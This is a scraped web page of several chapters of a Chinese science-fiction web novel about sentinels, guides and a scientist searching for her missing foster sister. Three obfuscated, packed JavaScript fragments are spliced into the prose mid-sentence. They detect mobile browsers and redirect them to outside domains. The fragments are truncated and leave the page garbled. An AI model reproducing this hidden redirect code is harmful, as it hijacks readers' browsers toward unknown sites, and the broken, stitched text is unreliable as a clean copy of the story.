;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068159|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光脑上滚动的信息，面色平静到没有丝毫波澜。彩色的信息流反射在她右眼的单片眼镜上，给人一种她仿佛是个正疯狂处理数据的人形AI的错觉。 “好了。我都知道了。”人形AI说，“你们还有别的事情要汇报吗？” “这边没有了。”有三人异口同声说。 穆若莘点头，“你们可以散会了。” 她将眼神转移到剩下一人身上：“说吧。” “是关于您之前要我重点关注的那两名哨兵的事。”信息部门的主管如是说，“我们调查了A级哨兵雷文杀人叛逃后的这两个月内的行踪和通讯，发现他在离开疗养院后曾短暂当过一个月的雇佣兵。并且在潜入艾伊尔创研中心之前，曾与一个暗网账号有过交流。因此我们推测，雷文是受买家之托，前来偷走艾伊尔正在研发的某种药品。这点也和被劫持的研究员，也就是向导云川对帝国调查局的笔录相符合。” 穆若莘手指敲了两下椅子扶手：“暗网账号皮下是谁？掮客还是买方？” 信息主管的声音低了下去：“还在查。” “他不是还有个同伙吗？” “呃……这人的身份也还未明确。” “雷文的尸体怎么样？进行回收了吗？” “之前派去和艾伊尔公司交涉的人说尸体已经完全碳化……因此无法辨认身份，也无法回收。” 穆若莘闭了闭眼睛。 “继续。” “咳咳，关于另一名哨兵卡修斯·佩尔珀的调查结果显示，他没有任何异常。和他同乘一辆车的官员是他已故养父的好友，在路上偶然遇到的他。比起卡修斯本人，该官员所乘车辆的驾驶系统问题更大……有被入侵过的痕迹，且入侵者IP显示在域外，无法追踪。” “还有别的吗？” “没有了。” “辛苦你了。”穆若莘温声道，“今天就先到这里吧。” “收到。晚安，局长。” “晚安。” 通讯关闭，穆若莘挺拔的脊背顿时放松下来。她向后靠着柔软的椅子背，双眼望着雪山，晦暗难明。 身旁的小圆几上摆着一瓶红酒，穆若莘浅浅倒了一点，正欲一饮而尽时，房门被敲响了。 她下意识看了眼时间。 此时已经接近晚上十点，不知道是谁这么没有眼色地过来打扰她。但她还是放下酒杯，起身开门。 “你好？” 看着眼前人高马大的哨兵，穆若莘眯起眼睛。 “虽然你是领导，但我还是要说。穆局长，我觉得你对我们圣所学员的训练太过粗暴了。虽然目前得到的结果貌似是好的，但在没有通知学员的情况下擅自提升训练参数可能会对学员的身心健康造成不利影响。我明白你是希望在短时间内激发云川的潜力，但我认为这背后的风险实在过于大，希望你以后再进行类似决策时可以妥善考虑。我的话说完了，晚安。哦对了，”苏一萌动了动鼻子，“圣所禁止饮酒。” “但考虑到你是领导，当我没说。” 穆若莘：“……” 她看着这个哨兵远去的背影，慢慢扬起一边的眉毛，然后关门，将杯中红酒一饮而尽。 “我是领导，我可以喝。”她自言自语地说着，忽然笑了。 “居然当面指责我急于求成……” 借由微弱的星光映照，窗外雪山的轮廓若隐若现。有些尖锐的山峰直刺向夜空，似乎想要划破这无尽的黑暗。 穆若莘喃喃：“可即使我已经做到这种程度，好像也还是来不及了。” 24. 不灭灯塔24 除了穆若莘自己，没人知道她在急切什么。 同样，除了云川本人以外的任何人，都不明白她此时脑子里都在想什么。 尤其是乔琳。 从发现云川痉挛开始，乔琳就一直陪伴在她的身边。 云川镜片后的眼睛即使到现在也没有合上，她明明看起来很疲倦了，眼底爬满细密的血丝，可她仍睁着眼睛。 有时候她会向窗外看一眼，更多时候则是注视天花板，看着自己的精神体蜘蛛爬来爬去。 乔琳坐在她床边的椅子上默默看着她。刚开始她会和云川温柔地絮叨几句，但久而久之自己也陷入了沉默。 过了一会，就在乔琳以为云川就这么睁着眼睛睡着的时候，云川开口了。 “已经很晚了。”云川的声音不大，却很清晰地传到她耳朵里，“乔琳，你回去休息吧。谢谢你刚才一直陪着我，我现在感觉好多了。” “诶？博士，别这么说，这都是我应该做的。” 乔琳连忙慌张摆手。 “我的工作就是负责照顾好你。虽然我好像帮不上什么忙……但是——你饿了吗，博士？我给你拿点吃的去吧！” 云川：“我不——” “——咕叽叽~~~” 肚子突如其来的叫唤让云川陷入沉默。 卧室昏黄的光线下，她和乔琳四目相对。 ——呃啊啊啊啊好尴尬的气氛！ 乔琳的脚趾用力抠紧鞋底，小心觑着云川平淡的脸色，在心中感慨博士的处变不惊。 如果换做是她，她现在已经连夜买票离开瑟银星了。 “是的，我饿了。” 短暂的沉默后，云川像是什么也没发生那样自然地说道：“我想吃一点烤过的深海鱼肉和甜品，还想喝水。” “好的！” 乔琳一改刚才蔫蔫的模样，立马站起身活力满满地说：“我现在就去准备！等我，博士！” 说着，她从房间冰箱里拿出一瓶事先存储好的电解水，倒在吸管杯里，喂云川喝了几口后离开了房间。就是不知怎得，她的背影给人一种落荒而逃的感觉。 门被关闭的霎那间，云川懊恼地捶了下自己的小腹。 早不叫晚不叫，偏偏在她打算委婉劝离乔琳的时候大声喧哗！还好她脸皮很厚，即使在非常尴尬的情况下仍能保持镇定自若。 不过，无论怎样，现在房间里总算只有她一个人了。 云川轻轻呼出口气，整个人顿时放松不少。 原本在天花板乱爬的精神体蜘蛛也悄无声息降落到她的手背上，云川仔细地端详它，发现它的体型比之前大了一圈。 看来觉醒者精神力的增长，会直观体现在自身精神体动物的身上。 云川不由想起，当时在艾伊尔公司劫持她的那名哨兵的精神体。 此时此刻，那条灰绿色的黑曼巴巨蛇仿佛又出现在她的眼前，正盘曲于角落阴影中，森然注视着她。 黑曼巴蛇的身体如同航行于浅湾的巨轮，云川的漫游蜘蛛在它面前不过是微小的浮萍，很轻易就能被推开、碾压。 然而—— “我才是胜利者……雷文。” 云川低低冷哂一声，笑意未达眼底。 伴随着她的笑容，眼前的巨蛇幻影，轰然粉碎。 如果帝国调查局的两位调查员此刻目睹这一幕，就会惊异于云川的表现和当初在医院时全然不同。 在提起劫持自己的歹徒时，她眼中既没有惊慌，也缺乏恐惧。 她那双藏在镜片后的琥珀色的眼眸，看似澄澈透明……却又好像深不见底的幽渊，甚至带着些许居高临下的、冷酷的嘲笑。 是的。 云川早就知道黑曼巴哨兵的名字。 早在雷文还没劫持她的时候，她就已经知道他准备对自己和艾伊尔公司做什么了。 她一直在等待那一天的到来。 满怀期待，满心欢喜。 因为，只有这样，云川才能顺理成章地“觉醒”，顺理成章地从艾伊尔公司脱身，顺理成章地进入圣所……然后一步步升入灯塔，最后水到渠成，进入帝国觉醒者公会，成为一名特勤向导。 背后驱使她做出一切行为的动机并非是为了酝酿什么惊天动地的大阴谋，而仅仅是因为一个人。 一个对云川来说，非常重要的人。 云川拿起摆在床头的纸质书。 从外部厚重繁复的烫金书皮来看，这似乎是一本极具古典气质的大头部。 然而只要一翻开，就会发现内部的纸质其实非常普通且轻薄，其上也很少有文字，大部分都是笔画幼稚并且不知所谓的艳丽儿童涂鸦。 在两个手牵手的黑色大头火柴人涂鸦背后，夹着一张相片，上面的一家三口对镜头笑得很甜。 云川的目光在封莲和席长荣灿烂的笑脸上流连片刻，最后落在了中间一个正大笑着露出八颗牙齿，看起来非常飒爽的短发女孩上面。 这是她养父母的亲生女儿封棋，一个继承父母衣钵，优秀且年轻的帝国调查员。 她的前途本该一片光明，然而，封棋却在十八年前的一次外出执勤中意外失踪，年仅二十岁。 现场没有留下任何痕迹，监控没有拍到任何异常情况，一个大活人就这么消失了，从此再没有出现。 云川在她失踪一年后被封莲和席长荣收养。 所以，云川其实从未见过封棋。 然而很奇怪的…… 这么多年来，家里依然保留着她的痕迹。 封莲和席长荣从没有放弃寻找她。 他们对封棋不经意间流露的爱意，在日久天长中，似乎也蔓延到了云川的心里。 很小的时候云川就明白，封棋是家庭群里保持沉默的第四名成员，是她隔壁房间里永远不会起床的赖床大姐姐。 她一直存在于他们的家庭中，是所有人最亲密的家人。 可现在，这么多年过去了，小妹妹云川的年纪，已经比失踪前的大姐姐还要大一岁了。 她已经不再是那个需要踮脚才能摸到姐姐奖牌的小女孩。 云川早已长成到能够独当一面的程度，可以做到父母也无法做到的事，因此寻找姐姐的责任自然应该由她承担——她甚至在很早前就开始这么做了，不然她为什么要参加那个该死的艾伊尔青少年培养计划呢？ ——封棋失踪前最后一次出现的地方，正好和艾伊尔旗下的一个分公司处于同一片街区。 为了弄清楚事情的真相，云川必须设法进入艾伊尔公司暗中调查。 可即便如此，整整十一年的时间，云川眼前的谜团却越滚越大。 艾伊尔公司作为星际超强垄断企业，涉及的商业领域包括但不限于： 国防工业、药物医疗器械、化妆护肤品、以及绝大多数的高新技术产业。 但这只是表面上的。 艾伊尔公司真正的利益来源，实际上来自秘密研发的军事武器，生命工程和生化武器。 云川之前所属的T ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068160|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' TSD实验室只是生化部门旗下的其中一个研发团队而已，他们背后还有个影子部门，专门负责进行一些无法言说的秘密实验。 这一点，团队里的所有人其实都心照不宣。 在艾伊尔员工内部，一直流传着公司利用人体做实验素体的流言，其背后的残忍和混乱，其实和模拟战场中的灵微生物有过之无不及。 可由于权限不够，云川始终都没有掌握确凿的证据。 并且，自从她博士毕业，转正加入TTSD的研发团队以后，公司对她的关注度就直线上升，又或者公司只是平等的监视每一个员工，而她刚好是其中之一。 无论是在公司实验室还是回家的路上，云川总能感受到一股阴冷的注视，不带丝毫情感地俯视她。 她越是在研发上取得成果，这股注视的力度就越强烈，几乎如芒刺背。 这不是一件好事。 云川看着自己手臂上陡然竖起的汗毛这样想到。 必须及时抽身。 是时候离开艾伊尔公司了。 她在这里花了十一年的时间都没有得到想要的结果，或许正是因为当局者迷。 ……当人在处于漩涡中心时，往往会丧失对正确方向的感知。云川需要另外的视角，抽离地看待整件事。 可是要怎么脱身呢？她下一步又该做什么？ 突然的，背后阴冷的视线消失了。取而代之的是一种狂乱的，带着疯狂和恶意的凝视。 有人在跟踪她。 云川假装若无所觉地，回到自己位于东区的顶层公寓，目光不经意落在楼下熙攘的人群中，锁定了一个蚂蚁般大小的人影 不需要任何精神力的感知，那是一种近乎野兽般的直觉，让云川明白这就是刚才跟踪她的男人。 紧接着，云川光脑上接连弹出两条消息通知。 【[瑟银晚报]近日有神秘组织威胁市民安全，东区居民需特别警惕！】 【来自&0%2$#3*2@1的骚扰信息(已拦截)】 云川先点开第一条新闻。 奇怪的是，里面的内容和刚才弹窗上看见的新闻标题完全无关，通篇都在讲述一则瑟银星多年前曾发生的火灾。 之后她顺便点开骚扰信息，发现上面只有一句话。 【——小心，有人要害你。】 语言难以形容云川在看见这条消息时的心情。 她嘴角不受控制地上扬，几乎控制不住想大笑出声！ 云川立即就回复了这条骚扰信息。 【他是谁？】 长久的沉默过后，云川发现自己的光脑屏幕上出现了一扇门，里面蹦出来一个像素小人，外形很像一朵红色的蘑菇。 小蘑菇人在她的键盘上卖力奔跑，敲敲打打留下一串文字。 【A级哨兵，雷文。】 “他想从我身上得到什么？” 【他想要陷害你进监狱，还想要你研发的TTSD。】 “你是谁？为什么帮我？” 【我是12320。帮你？我只是厌倦了这一切。】 …… 当你率先踏入他人的路途，你就掌握了毁灭他人的先机。 但首先，你要装作一无所知。 …… “姐姐。” 云川轻声说，指腹抚过照片上封棋正青春的脸颊。 “再坚持一会，再等我一会。” 我一定会找到你的。 无论是活着的，还是死去的。 25. 不灭灯塔25 由于模拟战场排位赛非常消耗精神力，圣所给所有参赛者都放了半天假，允许他们第二天下午两点后再参加新一轮的训练。 “包括博士你在内，本次排位赛中，我们圣所一共有六名参赛者获得了保送灯塔的名额。” 乔琳领着刚从圣所图书馆出来的云川往前领，和她絮叨今天的安排。 “确定保送人员名单后，接下来就得为各灯塔举办的保送考试做准备。一名考生一次只能选择参加一座灯塔的考试，其中时间最早的塔区考试时间是在四周后。也就是说，我们只剩下四周的训练时间了。不过不要担心，圣所专门为此设置了特训课程。” 云川：“我们现在是去上课吗？” 乔琳点头：“是的。” “可是我们怎么在往外走？” 乔琳的眼里顿时闪过一丝狡黠的光。 她接过云川手里刚从图书馆借得《精神力-从入门到精通》纸质书，笑呵呵地伸手往前一指。 “嘿嘿，这个嘛，博士你待会儿就知道了，先去换衣服吧。加油哦！” 距离圣所出口不远的地方有个更衣室，云川走到写有自己名字的柜子前，拉开柜门，就看见一套足以闪瞎人眼的荧光粉极地御寒服正静静等待着自己。 云川：“……？” · 不得不说，圣所准备的极地御寒服确实非常温暖。 云川全副武装地站在苍凉的雪地里，身边是五个和她同样打扮的荧光粉特训成员，每个人露在外面的脸都冻得鼻头发红，有几个人的眼神更是直愣愣的，充满茫然和不知所措。因为都在室外，没有人放出自己的精神体。 其中一个脸上有雀斑的男孩环顾四周，在发现除了他们之外空无一人以后，崩溃地坐在地上大喊：“怎么都强化训练课程了一上来还是精神力导航啊！我不要啊啊啊啊啊！” ……是麦考夫的声音。 云川目光在他那张犹带稚气的小脸上打了个转，最后落在了面前一个鲜红的标牌上。 【亲爱的特训营成员你们好~\(^_^)恭喜诸位获得保送名额呀！我是你们此次特训的老师小婉，你们可以叫我婉婉美女或者美女婉婉（づ￣3￣）づ╭~】 湛容华见状露出一个无奈的笑容：“婉老师还是这么爱用颜文字……” “难以置信，我们这次居然落到了魔鬼婉的手里！”解厉叉着腰，不知想到什么打了个冷颤，“她一定会往死里整我们的！” “——倒也不至于……吧？”阿比盖尔十分没有底气。 她眉眼锐利，皮肤是蜂蜜般的小麦色，看上去十分健康和英气，和一旁沉默不语的一名苍白少年形成鲜明的对比。 说是少年，但其实那人的身量早已抽条，即使穿着笨重的御寒服依然能不掩盖其高挑劲瘦。 然而，一头乌黑卷曲的半长披发和眼尾下垂的暗紫色眼眸却给他的气质增添了些许忧郁和阴柔，不像麦考夫和湛容华看上去充满少年人的朝气。 云川一眼就认出卡修斯。看来他们排位赛小队的所有人都被录取了，这可真是个好消息。 卡修斯端详着标牌，像是没听到其他人的吐槽一样，缓缓念出下面的文字：“接下来，你们将参加为期五天的雪山极地越野特训的第一个项目：寻找雪山中的豪华酒店。” 云川叹了口气。 “……在这片美丽的雪山之间，隐藏着一座豪华酒店。然而，周围的磁场干扰、频繁的冰雪暴以及各种天然的障碍，都使得找到它并非易事。” 卡修斯的声音低沉且柔和，非常悦耳，可在听完他说的话以后，在场众人的心无一例外都凉了下去。 “现在退出还来得及吗？”麦考夫问，“我不想在没有机甲没有电子设备的情况下冻死哇。” 闻言，阿比盖尔回头，朝圣所的大门看去。 “啊，门已经被死死关上了呢。”湛容华喃喃。 “算了，来都来了。”解厉深吸一口气，“趁着天还亮着，赶紧找吧。不然下雪了可就不好了。” 可要往哪走呢？ 众人纷纷望向队伍内唯二的向导，云川和湛容华四目相对。 少顷，云川开口：“范围太大，先分头行动吧。每个人都试着用精神力感知一下酒店大致方向，十分钟后到这里集合。” 有了先前在模拟战场中的合作经验，大家交流起来都非常顺利，没有人反对云川的提议。因此很快就四散开去，并在十分钟后得出了结果。 “豪华酒店应该在西北方向的高地上。” 湛容华往前看去，“唔，原来在山上啊？” “快出发吧。”解厉催促，“我已经等不及想看看是多豪华的地方了。” 为了节约时间，一行人小跑着向前。对于从小接受训练的其他人来说，这是个还算轻松的运动，可对于才刚进入圣所三天的云川来讲就有些吃力了。 固然，她在模拟战场中的表现良好，可在脱离机甲的辅助之后，仅凭肉身的她其实是个确凿无疑的普通人。 渐渐的，云川落在了大部队后面，慢慢跑着。 也许是太久没有接触过户外，难得的雪山越野让她非常高兴。 脚下的积雪发出“咯吱咯吱”的声音，她迈出的每一步都好像是在与雪山对话。 映入眼帘的是一片银白色的世界，以往云川只能隔着玻璃窗看它们，此刻她却置身其中。 她望见远处的峰峦在阳光下闪耀着圣洁的光辉，那种白色纯净得几乎让人不敢呼吸。一座接着一座的雪山连绵起伏，如一条盘踞在大地上的白色巨龙，让她深深感觉到自己的渺小。 整个世界在这一刻仿佛只剩下她自己和这片洁白的雪山。 所有的烦恼和筹谋都被抛到九霄云外，云川的内心从未如此平静过。 吹过身体的风是冷的，呼吸进肺部的空气也是冷的，冷的刺骨。可她正在奔跑，她的身体正在发热，这种冷热交织的感觉非常奇妙。 由于雪的松软，每一步都需要比在平地上奔跑付出更多的力量，云川的腿部肌肉很快就有酸胀的感觉。不仅如此，随着氧气逐渐稀薄，她的呼吸也开始变得急促，然而这却激发了她的斗志。 “……我是活着的。” 云川想，我的呼吸如此沉重，心跳如此剧烈。但我可以战胜这一切。 所以……即使是吊车尾也没关系！ 停下来休息了好几次的云川如是想。 【你还能坚持吗？】精神域网冷不丁响起解厉的声音，【要不要我背你啊，川川姐。】 【不、不用。】云川回复，【我、我、我还能坚、坚持。】 【……】 前方的队伍停了下来。云川深深吸气，打算趁此追上大部队。 可就在这时，眼前却出现了一片荧光粉。 她顿觉眼睛一辣，紧接着视野里伸出一只手。 一阵天旋地转过后，云川被卡修斯扛了起来。 “等、等一下——” 卡修斯：“我带你过去……” “不是，”云川用力捶了一下他的肩膀，“你顶到我的胃了我好想吐啊……呕！！！” 卡修斯：“……” 他赶紧把云川放下来，眼里难得流露出一丝茫然和无措。 云川：“呕……” 远远看着这一切的解厉跳脚。 “喂笨蛋卡修斯你在干什么啊？！我都说让我来了你到底会不会照顾人？” “川川姐你还好吗！！！” 湛容华在山路上找到一些物资，里面正好有水，本来想拿给云川，却被摆手拒绝。 “我用雪水漱口就好。” 云川心下庆幸自己只呕出一些胆汁，不然如果把午饭吐出来的话，她可能会连夜买站票回家。 一旁围观众人手忙脚乱的卡修斯此时终于开口：“再给我一次机会。” “嗯？” 云川抬头，对上他的眼睛。 只见卡修斯满眼都写着认真。 卡修斯：“这一次我会换成别的姿势。我保证，不会再让你吐。” 云川很想拒绝。 可看着日益黯淡下去的天色，考虑到自己可能会拖慢队伍进程，她还是勉为其难地点头同意了。 在麦考夫和阿比盖尔的指导下，卡修斯稳稳背起了云川。 云川双手环抱住卡修斯的脖子，隔着厚重的衣物感受到他背部肌肉的起伏。 看来卡修斯比她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068161|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想象中要强壮。 一旁解厉酸酸道：“哼，我的背其实也很宽阔啊。” “可是你还没川川姐高……”麦考夫小声说，果不其然被解厉捶了一下。 “好了，继续前进吧。”阿比盖尔忍住笑意。 湛容华喃喃：“是该走了，就快下雪了。” 约莫五分钟后，天空开始飘起雪花。 为了保持体力，众人都没有再说话，而是通过精神域网交谈。 【前方有三条路，走哪一条？】 【集中注意力……周围似乎有磁场在干扰判断。我觉得是中间，云川，你觉得呢？】 【左边。】 【啊，出现分歧了。再试一次看看呢？】 【……左边。抱歉，各位。】 【嘿，别这么说，多大点事~】 【你们说，婉婉老师现在是不是在豪华酒店里泡温泉啊？】麦考夫开始幻想，【我也想泡温泉~】 解厉对此有不同的见解。 【——啊？我怎么感觉婉魔鬼正在嘎嘎大笑，想着怎么折磨我们才好呢？】 湛容华摇头：【你把婉老师想得太邪恶了。】 三个人在精神域网里吵成一片。阿比盖尔受不了地捂住耳朵，但无济于事。 经过一段时间的休息后，云川感觉自己的精力恢复了许多。 她拍了拍卡修斯：【好了，卡修斯，放我下来吧。】 卡修斯歪了歪脑袋：【为什么？】 【再被你背下去，我就要睡着了。这算什么特训？】云川松开环住他脖子的手，从卡修斯背上跳了下来。 卡修斯不置可否。 风雪渐渐大了起来。云川能感受到周围的磁场干扰越发强烈，这证明他们应该很接近豪华酒店了。 “休息一下吧……”麦考夫喘息着道，“我想吃点东西。” “好。”云川左右看看，找到一块已经被雪覆盖了大半的大石头，刚好能为他们提供一时的庇护，“休息两分钟，补充体力。” 半途中找到的物资背包一直是由阿比盖尔背的，她从里面拿出压缩饼干和水，分给所有人。 麦考夫很快吃完，信心满满地拍打胸脯：“接下去就由我打头阵吧！” 说着，他绕出石头，却被眼前出现的一幕惊得睁大了双眼。 一条长长的索桥横跨在雪山之间的深谷上。 此时时间已经到了傍晚，夕阳余晖将雪山染成橙红，这条索桥也被笼罩在一片暖色之中，就像是被点燃了一般。 一阵狂风呼啸而过，索桥在风中轻轻摇曳。 麦考夫咽了咽口水。 “通过索桥的时候，大家要掌握好平衡。”看着那不断晃动的钢索框架和明显经过岁月洗礼的木制桥板，云川出声提醒，“小心为妙。” 麦考夫后退一步躲到解厉身后：“厉厉姐，你先走。” 解厉鄙视地看他一眼：“不是吧，你就这点志气？” 云川摇了摇头，率先走上索桥。 卡修斯紧随她后一步迈上索桥，接着是解厉、湛容华、阿比盖尔和麦考夫。 “你都是开过飞行器的人了，怎么还恐高呢？”阿比盖尔无奈地对最后的麦考夫说。 麦考夫振振有词：“模拟战场和现实能一样吗？现在的我们可是没有任何装备的，万一掉下去就死定了！” 云川听着身后的吵闹，加快了前进的步伐。 然而就在她走到索桥中间的时候，一只雕鸮突然从远处飞过来，在头顶半空危险地盘桓。 她立马警惕起来。 谁知，雕鸮眼中红光一闪，口中发出人声。 “看来大家的进展很不错呢，已经顺利来到最后关卡了。是的，各位，豪华酒店就在前方！不过，诸位应该知道，最后一个抵达酒店的人会有什么下场吧？……呵呵。” 一股恶寒直击云川心头！ 咦惹，怎么有种不详的预感…… “啊？不会还要接受惩罚吧？”最后的麦考夫爆发出一声惨叫，“啊啊啊啊啊啊啊啊啊啊啊我不要——” 所有人的神经都因此紧绷起来，云川下意识地就迈开腿冲了出去！ 她绝对不要当最后一名！ 26. 第 26 章 “哎呀，怎么大家全部都同时抵达呀。” 克里斯塔雪山酒店的观景台上站着一名身穿黑色御寒服的女士，她的右手臂正上停着刚才那只巨大的雕鸮。雕鸮显然是一只仿生机械鸟，闪烁红光的小眼睛一直盯着下方狂奔的几人，将他们的狼狈模样忠实地记录了下来。 在看见抵达终点的六名特训营成员后，这位女士发出了一声遗憾的叹息。 “无论如何，还是辛苦大家了。” 解厉一屁股坐在雪地上，喘着粗气唤了一声：“魔鬼——小婉老师！” 云川双手撑着栈道栏杆大口呼吸，她的心脏正在因为刚才的剧烈运动狂跳，几乎下一秒就要蹦出嗓子眼。听见解厉这么说，顺着目光向上看去，和大家一起喊了声“小婉老师好”。 小婉老师笑眯眯地应下，伸手摸了摸雕鸮冰冷的羽毛。 “好了，不要站在外面挨冻了，大家先进来吧。” “我就知道婉婉老师人美心善！”麦考夫欢呼一声，翻身而起，第一个跑过栈道，冲进了克里斯塔酒店。 “这小子……”解厉看着他兴高采烈的背影，忍不住嗤笑。 阿比盖尔抬头看着矗立眼前的克里斯塔酒店，发出一声赞叹。 “之前就听说过登特利亚山脉中屹立着一座冰晶酒店，看来就是这了吧？果然很豪华呢。” 瑟银星的西部有座名为博兰科的高大、绵长的山脉。其中，位于南段的山脉名为登特利亚，瑟银圣所就位于此处。 “是吗？”湛容华吸吸鼻子，“我不知道诶。” “克里斯塔雪山酒店是于九十年前联盟末期，由私人投资修建的。”云川说，“因为距离当时天琴座总督的私宅很近，再加上风景绝佳，这里成为了在社会名流和富豪之间非常风靡的度假胜地。据说，酒店十二座悬浮塔楼塔尖上镶嵌的不是宝石，而是从陨星星核中提炼的[永恒火种]，即使在零下三百度的严寒中也不会熄灭。” “难怪刚才在索桥上的时候就总是看见天上有金色的东西在一闪一闪，我还以为是圣所的随行监视器呢，原来是传说中的[永恒火种]。”解厉摸着下巴感慨。“该说不愧是联盟吗？比起帝国来真是挥金如土……奢靡啊！太奢靡了！” “不过，那些所谓的名流和富豪争先恐后来这里，恐怕根本目的是为了巴结那位总督吧？” 云川不置可否。 她伸手拂去建筑外墙上的积雪，端详着其下描绘人类星际大航海时代的故事浮雕。 身旁顿时覆盖过来一片阴影。 是卡修斯。 云川抬眼，发现他正一言不发地望着星图浮雕，似乎正在上面寻找着什么。 “这是天琴座的星图。”云川伸手指了指其中代表瑟银星的星星，“我们就在这。” “我知道。”卡修斯轻轻说，“我只是以为，这里还会有其他的星。” 云川闻言，微微侧过脑袋，扫过他下垂的浓密睫毛。 她原本想问卡修斯想要找到哪一颗星星，可卡修斯已经转身离开了。 湛容华：“那么，总督的私宅一定和酒店不相上下，甚至更豪华。我还挺想见识一下的呢。可是这附近除了圣所和酒店之外，好像并没有其他建筑了。” 阿比盖尔闻言，脸上露出神秘的微笑。 “傻孩子，”解厉则是哈哈大笑起来，抬手用力揉乱湛容华的脑袋，“你已经在总督宅邸里生活了很多年了！自从八十年前帝国建立后，这些腐败官员们的私产就被全部充公啦！现在的圣所就是在总督宅邸的基础上改建的。” “啊？竟然是这样的吗？！” “对啊。而且现在看来这座酒店也已经充公了，不知道里面的设施是保留原样还是被大改了一番。” “你们还在下面磨磨蹭蹭些什么？” 麦考夫从上方观景台弹出个脑袋来，对他们吱哇大叫：“快点进来集合！吃晚餐啦！” 特训营成员在豪华酒店内的饮食，和在圣所没有丝毫区别。 不，应该说，根本就是直接从圣所餐厅送过来的……这也能理解，毕竟他们六个人当中，每个人都有专门定制的食谱。 比如，卡修斯一饮而尽的寡淡营养剂，一看就是哨兵特供。而云川面前色香味俱全的高蛋白高热量食物，则是专门用来增重的。 “好香……”麦考夫深深吸了口气，“虽然胡椒的味道闻起来很浓，但感觉这个牛排好好吃啊……” 解厉尖叫：“控制住你的口水啊麦考夫！已经快要滴到餐桌上了！” “吃饭的时候就不要大声喧哗了。”小婉老师靠着墙壁看着他们，声音有些懒散，“喂，解厉，收起你的筷子，不要再偷吃云川和阿华盘子里的肉了。” 解厉迅速收回手。 阿比盖尔摇头叹息。 等到所有人吃完晚餐之后，小婉老师看了眼时间。 “差不多了，接下来是训练时间。” 解厉瞪圆眼睛：“不是吧？我们才吃完饭不到半小时！现在就去训练胃会受伤的。” 麦考夫可怜巴巴：“饶了我们吧，我们才刚结束三个小时的雪山越野诶老师……” 小婉老师不为所动，往餐桌上扔了六个手环。 “房卡。一个挑一个。挑完以后去换训练服，之后云川到203房间，阿华到204房间，卡修斯到306房间，阿比盖尔和解厉到308房间，至于麦考夫……你去404。” 麦考夫：“呃啊404？……等等，我怎么有种不好的预感。” 小婉老师眯了眯眼睛：“你们只有三分钟的时间。迟到的，” “——绕湖跑五十圈。” 此话一出，众人作鸟兽散。 · 203房间是个由会议室改建的精神力训练室。云川踩着三分钟的点推开门的时候，小婉老师已经等在那里了。 但准确来说，训练室当中的女人并不是小婉老师本人，而是她的全息投影。 ……应该是提前录好的。 小婉老师：“请坐。” 空旷的训练时里只有一把椅子，且四面无窗，平静之中给人带来一丝压迫感。 云川环顾一圈后坐下。 “从模拟战场出来之后，你的精神力等级较之前提升了6%，这是个好消息。”小婉老师说，“然而，在我看来，你仍有许多不足的地方。我复盘了你之前在排位赛中的表现，总结出几个当前亟待你解决的问题。” 云川：“但闻其详细。” “第一，精神力攻击方式单一。” 小婉老师：“或许你已经注意到，你在本次【侵蚀之城】的地图中，只使用了一次精神力攻击——还是在最后对抗巨型变异体的时候，当时你和阿华汇集了所有人的精神力，合力冲击巨型变异体和核心。” “是的。”云川点头。 “这种精神力攻击方式被称作直接攻击。”小婉老师说，“显而易见，非常直白，是一种初级的攻击技巧。我很高兴你刚进圣所两天就能学会并运用它。但是A级向导需要掌控的可不止这些，下面由我为你介绍一些更加高级的攻击技巧。” 话音刚落，云川眼前忽然一黑。再次亮起的时候，小婉老师消失了，原本空荡的训练室环境骤然变成了阿莱城的场景。巨大丑陋的变异体正朝云川发出咆哮。 云川猛地站起来，意识到这是场景复现。 “在面对像这样防御力较强的目标时，比起直接攻击，我更推荐使用精神力渗透。”云川听见小婉老师在自己耳畔低语，“所谓渗透……就是将精神力悄无声息渗透进目标的精神防御体系，不是单纯地进行精神力冲击，而是如同涓涓细流，寻找对方防御的薄弱点，然后逐步扩大突破口。” “记住上面的要点，云川。现在，闭上你的眼睛，集中注意力，将你的精神力，渗透进这个怪物的精神当中……” 云川闭上眼睛。 她仿佛又回到了充满腥臭和腐烂气味的战场上。怪物释放的腐蚀液体溅在她的机甲外壳上，发出滋滋的声音。怪物正在咆哮，她伸出一条细小的精神触须，小心翼翼地接近它。 ……脑海中出现一片黑暗，如同一个巨大的漩涡，不断旋转。 漩涡边缘闪烁着幽蓝色的光芒，那是怪物精神力防御的最外层。当云川试着靠近时，她能感受到一种抗拒的力量从漩涡中传来，就像一股逆风，试图将她推出来。 